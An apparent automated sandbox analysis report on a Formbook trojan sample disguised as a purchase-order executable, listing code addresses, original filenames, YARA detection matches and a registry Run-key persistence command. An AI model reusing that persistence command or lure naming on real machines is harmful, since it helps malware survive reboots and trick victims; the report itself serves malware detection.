          Source: C:\Windows\explorer.exeCode function: 14_2_0B0A191214_2_0B0A1912
          Source: C:\Windows\explorer.exeCode function: 14_2_0B0A75CD14_2_0B0A75CD
          Source: C:\Windows\explorer.exeCode function: 14_2_0B0A303614_2_0B0A3036
          Source: C:\Windows\explorer.exeCode function: 14_2_0B09A08214_2_0B09A082
          Source: C:\Windows\explorer.exeCode function: 14_2_0B27BB3214_2_0B27BB32
          Source: C:\Windows\explorer.exeCode function: 14_2_0B27BB3014_2_0B27BB30
          Source: C:\Windows\explorer.exeCode function: 14_2_0B28123214_2_0B281232
          Source: C:\Windows\explorer.exeCode function: 14_2_0B278D0214_2_0B278D02
          Source: C:\Windows\explorer.exeCode function: 14_2_0B27E91214_2_0B27E912
          Source: C:\Windows\explorer.exeCode function: 14_2_0B2845CD14_2_0B2845CD
          Source: C:\Windows\explorer.exeCode function: 14_2_0B28003614_2_0B280036
          Source: C:\Windows\explorer.exeCode function: 14_2_0B27708214_2_0B277082
          Source: C:\Windows\explorer.exeCode function: 14_2_0E41E23214_2_0E41E232
          Source: C:\Windows\explorer.exeCode function: 14_2_0E418B3014_2_0E418B30
          Source: C:\Windows\explorer.exeCode function: 14_2_0E418B3214_2_0E418B32
          Source: C:\Windows\explorer.exeCode function: 14_2_0E41D03614_2_0E41D036
          Source: C:\Windows\explorer.exeCode function: 14_2_0E41408214_2_0E414082
          Source: C:\Windows\explorer.exeCode function: 14_2_0E415D0214_2_0E415D02
          Source: C:\Windows\explorer.exeCode function: 14_2_0E41B91214_2_0E41B912
          Source: C:\Windows\explorer.exeCode function: 14_2_0E4215CD14_2_0E4215CD
          Source: C:\Windows\explorer.exeCode function: 14_2_0E9AD23214_2_0E9AD232
          Source: C:\Windows\explorer.exeCode function: 14_2_0E9A7B3214_2_0E9A7B32
          Source: C:\Windows\explorer.exeCode function: 14_2_0E9A7B3014_2_0E9A7B30
          Source: C:\Windows\explorer.exeCode function: 14_2_0E9A308214_2_0E9A3082
          Source: C:\Windows\explorer.exeCode function: 14_2_0E9AC03614_2_0E9AC036
          Source: C:\Windows\explorer.exeCode function: 14_2_0E9B05CD14_2_0E9B05CD
          Source: C:\Windows\explorer.exeCode function: 14_2_0E9AA91214_2_0E9AA912
          Source: C:\Windows\explorer.exeCode function: 14_2_0E9A4D0214_2_0E9A4D02
          Source: C:\Windows\explorer.exeCode function: 14_2_0F1BEB3214_2_0F1BEB32
          Source: C:\Windows\explorer.exeCode function: 14_2_0F1BEB3014_2_0F1BEB30
          Source: C:\Windows\explorer.exeCode function: 14_2_0F1C423214_2_0F1C4232
          Source: C:\Windows\explorer.exeCode function: 14_2_0F1C191214_2_0F1C1912
          Source: C:\Windows\explorer.exeCode function: 14_2_0F1BBD0214_2_0F1BBD02
          Source: C:\Windows\explorer.exeCode function: 14_2_0F1C75CD14_2_0F1C75CD
          Source: C:\Windows\explorer.exeCode function: 14_2_0F1C303614_2_0F1C3036
          Source: C:\Windows\explorer.exeCode function: 14_2_0F1BA08214_2_0F1BA082
          Source: C:\Windows\explorer.exeCode function: 14_2_1098E23214_2_1098E232
          Source: C:\Windows\explorer.exeCode function: 14_2_1098408214_2_10984082
          Source: C:\Windows\explorer.exeCode function: 14_2_1098D03614_2_1098D036
          Source: C:\Windows\explorer.exeCode function: 14_2_109915CD14_2_109915CD
          Source: C:\Windows\explorer.exeCode function: 14_2_1098B91214_2_1098B912
          Source: C:\Windows\explorer.exeCode function: 14_2_10985D0214_2_10985D02
          Source: C:\Windows\explorer.exeCode function: 14_2_10988B3014_2_10988B30
          Source: C:\Windows\explorer.exeCode function: 14_2_10988B3214_2_10988B32
          Source: C:\Windows\explorer.exeCode function: 14_2_10B1B08214_2_10B1B082
          Source: C:\Windows\explorer.exeCode function: 14_2_10B2403614_2_10B24036
          Source: C:\Windows\explorer.exeCode function: 14_2_10B285CD14_2_10B285CD
          Source: C:\Windows\explorer.exeCode function: 14_2_10B2291214_2_10B22912
          Source: C:\Windows\explorer.exeCode function: 14_2_10B1CD0214_2_10B1CD02
          Source: C:\Windows\explorer.exeCode function: 14_2_10B2523214_2_10B25232
          Source: C:\Windows\explorer.exeCode function: 14_2_10B1FB3014_2_10B1FB30
          Source: C:\Windows\explorer.exeCode function: 14_2_10B1FB3214_2_10B1FB32
          Source: C:\Windows\explorer.exeCode function: 14_2_10E1108214_2_10E11082
          Source: C:\Windows\explorer.exeCode function: 14_2_10E1A03614_2_10E1A036
          Source: C:\Windows\explorer.exeCode function: 14_2_10E1E5CD14_2_10E1E5CD
          Source: C:\Windows\explorer.exeCode function: 14_2_10E12D0214_2_10E12D02
          Source: C:\Windows\explorer.exeCode function: 14_2_10E1891214_2_10E18912
          Source: C:\Windows\explorer.exeCode function: 14_2_10E1B23214_2_10E1B232
          Source: C:\Windows\explorer.exeCode function: 14_2_10E15B3014_2_10E15B30
          Source: C:\Windows\explorer.exeCode function: 14_2_10E15B3214_2_10E15B32
          Source: C:\Windows\explorer.exeCode function: 14_2_1196E5CD14_2_1196E5CD
          Source: C:\Windows\explorer.exeCode function: 14_2_1196891214_2_11968912
          Source: C:\Windows\explorer.exeCode function: 14_2_11962D0214_2_11962D02
          Source: C:\Windows\explorer.exeCode function: 14_2_1196108214_2_11961082
          Source: C:\Windows\explorer.exeCode function: 14_2_1196A03614_2_1196A036
          Source: C:\Windows\explorer.exeCode function: 14_2_11965B3214_2_11965B32
          Source: C:\Windows\explorer.exeCode function: 14_2_11965B3014_2_11965B30
          Source: C:\Windows\explorer.exeCode function: 14_2_1196B23214_2_1196B232
          Source: C:\Windows\explorer.exeCode function: 14_2_11F785CD14_2_11F785CD
          Source: C:\Windows\explorer.exeCode function: 14_2_11F7291214_2_11F72912
          Source: C:\Windows\explorer.exeCode function: 14_2_11F6CD0214_2_11F6CD02
          Source: C:\Windows\explorer.exeCode function: 14_2_11F6B08214_2_11F6B082
          Source: C:\Windows\explorer.exeCode function: 14_2_11F7403614_2_11F74036
          Source: C:\Windows\explorer.exeCode function: 14_2_11F6FB3214_2_11F6FB32
          Source: C:\Windows\explorer.exeCode function: 14_2_11F6FB3014_2_11F6FB30
          Source: C:\Windows\explorer.exeCode function: 14_2_11F7523214_2_11F75232
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: String function: 01395130 appears 58 times
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: String function: 0134B970 appears 277 times
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: String function: 013A7E54 appears 102 times
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: String function: 013CEA12 appears 86 times
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: String function: 013DF290 appears 105 times
          Source: New PO 796512.exe, 00000001.00000002.1361858010.00000000012AE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameclr.dllT vs New PO 796512.exe
          Source: New PO 796512.exe, 00000001.00000000.1264941355.0000000000CF2000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenameDastl.exe@ vs New PO 796512.exe
          Source: New PO 796512.exe, 0000000D.00000002.1421086615.000000000144D000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs New PO 796512.exe
          Source: New PO 796512.exe, 0000000D.00000002.1420746555.00000000011F0000.00000040.10000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenamemsdt.exej% vs New PO 796512.exe
          Source: New PO 796512.exeBinary or memory string: OriginalFilenameDastl.exe@ vs New PO 796512.exe
          Source: New PO 796512.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif"
          Source: 13.2.New PO 796512.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 13.2.New PO 796512.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 13.2.New PO 796512.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 13.2.New PO 796512.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 13.2.New PO 796512.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 13.2.New PO 796512.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000E.00000002.2554228536.00000000109A6000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_772cc62d os = windows, severity = x86, creation_date = 2022-05-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8343b5d02d74791ba2d5d52d19a759f761de2b5470d935000bc27ea6c0633f5, id = 772cc62d-345c-42d8-97ab-f67e447ddca4, last_modified = 2022-07-18
          Source: 0000001D.00000002.1579072363.0000000002830000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0000001D.00000002.1579072363.0000000002830000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000001D.00000002.1579072363.0000000002830000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000037.00000002.1878197594.0000000000640000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000037.00000002.1878197594.0000000000640000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000037.00000002.1878197594.0000000000640000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000010.00000002.2531627143.0000000003260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000010.00000002.2531627143.0000000003260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000010.00000002.2531627143.0000000003260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000001.00000002.1364486717.0000000004194000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000001.00000002.1364486717.0000000004194000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000001.00000002.1364486717.0000000004194000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000001.00000002.1364486717.0000000004059000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000001.00000002.1364486717.0000000004059000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000001.00000002.1364486717.0000000004059000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000042.00000002.1971156070.0000000000770000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000042.00000002.1971156070.0000000000770000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000042.00000002.1971156070.0000000000770000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000001.00000002.1364486717.0000000004146000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000001.00000002.1364486717.0000000004146000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000001.00000002.1364486717.0000000004146000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000010.00000002.2531373486.0000000003230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000010.00000002.2531373486.0000000003230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000010.00000002.2531373486.0000000003230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000010.00000002.2529083977.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000010.00000002.2529083977.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000010.00000002.2529083977.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000026.00000002.1663569868.0000000002710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000026.00000002.1663569868.0000000002710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000026.00000002.1663569868.0000000002710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000002D.00000002.1737808316.0000000002F90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0000002D.00000002.1737808316.0000000002F90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000002D.00000002.1737808316.0000000002F90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: Process Memory Space: New PO 796512.exe PID: 4072, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: Process Memory Space: New PO 796512.exe PID: 7656, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: Process Memory Space: msdt.exe PID: 7736, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: Process Memory Space: cmd.exe PID: 4048, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: Process Memory Space: msiexec.exe PID: 6700, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: Process Memory Space: cmd.exe PID: 1860, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: Process Memory Space: msdt.exe PID: 7852, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
